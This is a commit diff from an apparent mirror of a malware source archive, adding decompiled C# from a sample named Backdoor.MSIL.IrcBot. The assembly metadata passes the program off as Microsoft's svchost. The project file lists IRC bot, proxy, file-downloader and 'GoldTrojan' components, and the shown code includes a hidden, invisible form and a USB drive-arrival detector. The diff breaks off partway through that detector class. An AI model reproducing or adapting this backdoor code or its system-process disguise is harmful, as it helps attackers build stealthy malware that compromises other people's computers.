mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
parent
26192f771b
commit
f2ac1ece55
@ -0,0 +1,14 @@
|
|||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("svchost")]
|
||||||
|
[assembly: AssemblyTitle("Generic Host Process for Win32 Services")]
|
||||||
|
[assembly: AssemblyDescription("Generic Host Process for Win32 Services")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © Microsoft")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
[assembly: Guid("0ea6fff1-cc47-4bc0-b703-3ed5264018c0")]
|
||||||
|
[assembly: AssemblyFileVersion("3.2.4")]
|
||||||
|
[assembly: AssemblyVersion("3.2.4.0")]
|
@ -0,0 +1,169 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe-->
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProjectGuid>{5BF5202E-1F94-42EE-A431-AF9196FB250A}</ProjectGuid>
|
||||||
|
<OutputType>WinExe</OutputType>
|
||||||
|
<AssemblyName>svchost</AssemblyName>
|
||||||
|
<ApplicationVersion>3.2.4.0</ApplicationVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<Optimize>false</Optimize>
|
||||||
|
<OutputPath>bin\Debug\</OutputPath>
|
||||||
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.Drawing" />
|
||||||
|
<Reference Include="System.Management" />
|
||||||
|
<Reference Include="System.Windows.Forms" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\IProxyClient.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\Socks4ProxyClient.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\Socks4aProxyClient.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\CreateConnectionAsyncCompletedEventArgs.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\Socks5ProxyClient.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\HttpProxyClient.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\ProxyException.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\ProxyType.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\ProxyClientFactory.cs" />
|
||||||
|
<Compile Include="Starksoft\Net\Proxy\Utils.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccConnection.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccChat.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ChannelUser.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcConnection.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcCommands.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcClient.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ChannelInfo.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\Channel.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcUser.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\Priority.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\SendType.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ReceiveType.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ReplyCode.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ReadLineEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\WriteLineEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\AutoConnectErrorEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccChatEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccSendEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccSendRequestEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcConstants.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccSpeed.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcColors.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\Rfc2812.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\CtcpEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ActionEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ErrorEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\MotdEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\PingEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\PongEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\KickEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\JoinEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\NamesEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ListEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\InviteEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\PartEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\WhoEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\QuitEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\AwayEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\NickChangeEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\TopicEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\TopicChangeEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\BanEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\UnbanEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\OpEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DeopEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\HalfopEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DehalfopEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\VoiceEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DevoiceEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcFeatures.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\CtcpDelegate.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccConnectionHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccChatLineHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccSendPacketHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccSendRequestHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\NonRfcChannelUser.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\BanInfo.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DccSend.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\WhoInfo.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcMessageData.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\IrcEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\CtcpEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ActionEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ErrorEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\PingEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\KickEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\JoinEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\NamesEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ListEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\PartEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\InviteEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\OpEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DeopEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\HalfopEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DehalfopEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\VoiceEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\DevoiceEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\BanEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\UnbanEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\TopicEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\TopicChangeEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\NickChangeEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\QuitEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\AwayEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\WhoEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\MotdEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\PongEventHandler.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\SmartIrc4netException.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ConnectionException.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\CouldNotConnectException.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\NotConnectedException.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\AlreadyConnectedException.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ProxyType.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\NonRfcChannel.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\ReadLineEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\WriteLineEventArgs.cs" />
|
||||||
|
<Compile Include="Meebey\SmartIrc4net\AutoConnectErrorEventArgs.cs" />
|
||||||
|
<Compile Include="GoldTrojan\Form1.cs" />
|
||||||
|
<Compile Include="GoldTrojan\Program.cs" />
|
||||||
|
<Compile Include="GoldTrojan\Chat.cs" />
|
||||||
|
<Compile Include="GoldTrojan\FileDownloader.cs" />
|
||||||
|
<Compile Include="GoldTrojan\DownloadData.cs" />
|
||||||
|
<Compile Include="GoldTrojan\DownloadEventArgs.cs" />
|
||||||
|
<Compile Include="GoldTrojan\DownloadProgressHandler.cs" />
|
||||||
|
<Compile Include="GoldTrojan\Properties\Settings.cs" />
|
||||||
|
<Compile Include="GoldTrojan\Properties\Resources.cs" />
|
||||||
|
<Compile Include="Dolinay\DetectorForm.cs" />
|
||||||
|
<Compile Include="Dolinay\DriveDetectorEventHandler.cs" />
|
||||||
|
<Compile Include="Dolinay\DriveDetectorEventArgs.cs" />
|
||||||
|
<Compile Include="Dolinay\DriveDetector.cs" />
|
||||||
|
<Compile Include="AssemblyInfo.cs" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<EmbeddedResource Include="Dolinay\DetectorForm.resx" />
|
||||||
|
<EmbeddedResource Include="GoldTrojan\Chat.resx" />
|
||||||
|
<EmbeddedResource Include="GoldTrojan\Form1.resx" />
|
||||||
|
<EmbeddedResource Include="GoldTrojan\Properties\Resources.resx" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||||
|
</Project>
|
@ -0,0 +1,20 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||||
|
# Visual Studio 2005
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svchost", "Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.csproj", "{5BF5202E-1F94-42EE-A431-AF9196FB250A}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{5BF5202E-1F94-42EE-A431-AF9196FB250A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{5BF5202E-1F94-42EE-A431-AF9196FB250A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{5BF5202E-1F94-42EE-A431-AF9196FB250A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{5BF5202E-1F94-42EE-A431-AF9196FB250A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
@ -0,0 +1,63 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Dolinay.DetectorForm
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Dolinay
|
||||||
|
{
|
||||||
|
internal class DetectorForm : Form
|
||||||
|
{
|
||||||
|
private Label label1;
|
||||||
|
private DriveDetector mDetector;
|
||||||
|
|
||||||
|
public DetectorForm(DriveDetector detector)
|
||||||
|
{
|
||||||
|
this.mDetector = detector;
|
||||||
|
this.MinimizeBox = false;
|
||||||
|
this.MaximizeBox = false;
|
||||||
|
this.ShowInTaskbar = false;
|
||||||
|
this.ShowIcon = false;
|
||||||
|
this.FormBorderStyle = FormBorderStyle.None;
|
||||||
|
this.Load += new EventHandler(this.Load_Form);
|
||||||
|
this.Activated += new EventHandler(this.Form_Activated);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Load_Form(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
this.InitializeComponent();
|
||||||
|
this.Size = new Size(5, 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Form_Activated(object sender, EventArgs e) => this.Visible = false;
|
||||||
|
|
||||||
|
protected override void WndProc(ref Message m)
|
||||||
|
{
|
||||||
|
base.WndProc(ref m);
|
||||||
|
if (this.mDetector == null)
|
||||||
|
return;
|
||||||
|
this.mDetector.WndProc(ref m);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.label1 = new Label();
|
||||||
|
this.SuspendLayout();
|
||||||
|
this.label1.AutoSize = true;
|
||||||
|
this.label1.Location = new Point(13, 30);
|
||||||
|
this.label1.Name = "label1";
|
||||||
|
this.label1.Size = new Size(314, 13);
|
||||||
|
this.label1.TabIndex = 0;
|
||||||
|
this.label1.Text = "This is invisible form. To see DriveDetector code click View Code";
|
||||||
|
this.ClientSize = new Size(360, 80);
|
||||||
|
this.Controls.Add((Control) this.label1);
|
||||||
|
this.Name = nameof (DetectorForm);
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
this.PerformLayout();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,120 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
</root>
|
@ -0,0 +1,308 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Dolinay.DriveDetector
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using Microsoft.Win32.SafeHandles;
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Dolinay
|
||||||
|
{
|
||||||
|
internal class DriveDetector : IDisposable
|
||||||
|
{
|
||||||
|
private const int DBT_DEVTYP_DEVICEINTERFACE = 5;
|
||||||
|
private const int DBT_DEVTYP_HANDLE = 6;
|
||||||
|
private const int BROADCAST_QUERY_DENY = 1112363332;
|
||||||
|
private const int WM_DEVICECHANGE = 537;
|
||||||
|
private const int DBT_DEVICEARRIVAL = 32768;
|
||||||
|
private const int DBT_DEVICEQUERYREMOVE = 32769;
|
||||||
|
private const int DBT_DEVICEREMOVECOMPLETE = 32772;
|
||||||
|
private const int DBT_DEVTYP_VOLUME = 2;
|
||||||
|
private IntPtr mDirHandle = IntPtr.Zero;
|
||||||
|
private FileStream mFileOnFlash;
|
||||||
|
private string mFileToOpen;
|
||||||
|
private IntPtr mDeviceNotifyHandle;
|
||||||
|
private IntPtr mRecipientHandle;
|
||||||
|
private string mCurrentDrive;
|
||||||
|
|
||||||
|
public event DriveDetectorEventHandler DeviceArrived;
|
||||||
|
|
||||||
|
public event DriveDetectorEventHandler DeviceRemoved;
|
||||||
|
|
||||||
|
public event DriveDetectorEventHandler QueryRemove;
|
||||||
|
|
||||||
|
public DriveDetector()
|
||||||
|
{
|
||||||
|
DetectorForm detectorForm = new DetectorForm(this);
|
||||||
|
detectorForm.Show();
|
||||||
|
this.Init((Control) detectorForm, (string) null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public DriveDetector(Control control) => this.Init(control, (string) null);
|
||||||
|
|
||||||
|
public DriveDetector(Control control, string FileToOpen) => this.Init(control, FileToOpen);
|
||||||
|
|
||||||
|
private void Init(Control control, string fileToOpen)
|
||||||
|
{
|
||||||
|
this.mFileToOpen = fileToOpen;
|
||||||
|
this.mFileOnFlash = (FileStream) null;
|
||||||
|
this.mDeviceNotifyHandle = IntPtr.Zero;
|
||||||
|
this.mRecipientHandle = control.Handle;
|
||||||
|
this.mDirHandle = IntPtr.Zero;
|
||||||
|
this.mCurrentDrive = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool IsQueryHooked => !(this.mDeviceNotifyHandle == IntPtr.Zero);
|
||||||
|
|
||||||
|
public string HookedDrive => this.mCurrentDrive;
|
||||||
|
|
||||||
|
public FileStream OpenedFile => this.mFileOnFlash;
|
||||||
|
|
||||||
|
public bool EnableQueryRemove(string fileOnDrive)
|
||||||
|
{
|
||||||
|
switch (fileOnDrive)
|
||||||
|
{
|
||||||
|
case "":
|
||||||
|
case null:
|
||||||
|
throw new ArgumentException("Drive path must be supplied to register for Query remove.");
|
||||||
|
default:
|
||||||
|
if (fileOnDrive.Length == 2 && fileOnDrive[1] == ':')
|
||||||
|
fileOnDrive += (string) (object) '\\';
|
||||||
|
if (this.mDeviceNotifyHandle != IntPtr.Zero)
|
||||||
|
this.RegisterForDeviceChange(false, (SafeFileHandle) null);
|
||||||
|
this.mFileToOpen = Path.GetFileName(fileOnDrive).Length == 0 || !File.Exists(fileOnDrive) ? (string) null : fileOnDrive;
|
||||||
|
this.RegisterQuery(Path.GetPathRoot(fileOnDrive));
|
||||||
|
return !(this.mDeviceNotifyHandle == IntPtr.Zero);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void DisableQueryRemove()
|
||||||
|
{
|
||||||
|
if (!(this.mDeviceNotifyHandle != IntPtr.Zero))
|
||||||
|
return;
|
||||||
|
this.RegisterForDeviceChange(false, (SafeFileHandle) null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose() => this.RegisterForDeviceChange(false, (SafeFileHandle) null);
|
||||||
|
|
||||||
|
public void WndProc(ref Message m)
|
||||||
|
{
|
||||||
|
if (m.Msg != 537)
|
||||||
|
return;
|
||||||
|
switch (m.WParam.ToInt32())
|
||||||
|
{
|
||||||
|
case 32768:
|
||||||
|
if (Marshal.ReadInt32(m.LParam, 4) != 2)
|
||||||
|
break;
|
||||||
|
char letter1 = DriveDetector.DriveMaskToLetter(((DriveDetector.DEV_BROADCAST_VOLUME) Marshal.PtrToStructure(m.LParam, typeof (DriveDetector.DEV_BROADCAST_VOLUME))).dbcv_unitmask);
|
||||||
|
DriveDetectorEventHandler deviceArrived = this.DeviceArrived;
|
||||||
|
if (deviceArrived == null)
|
||||||
|
break;
|
||||||
|
DriveDetectorEventArgs e1 = new DriveDetectorEventArgs();
|
||||||
|
e1.Drive = letter1.ToString() + ":\\";
|
||||||
|
deviceArrived((object) this, e1);
|
||||||
|
if (!e1.HookQueryRemove)
|
||||||
|
break;
|
||||||
|
if (this.mDeviceNotifyHandle != IntPtr.Zero)
|
||||||
|
this.RegisterForDeviceChange(false, (SafeFileHandle) null);
|
||||||
|
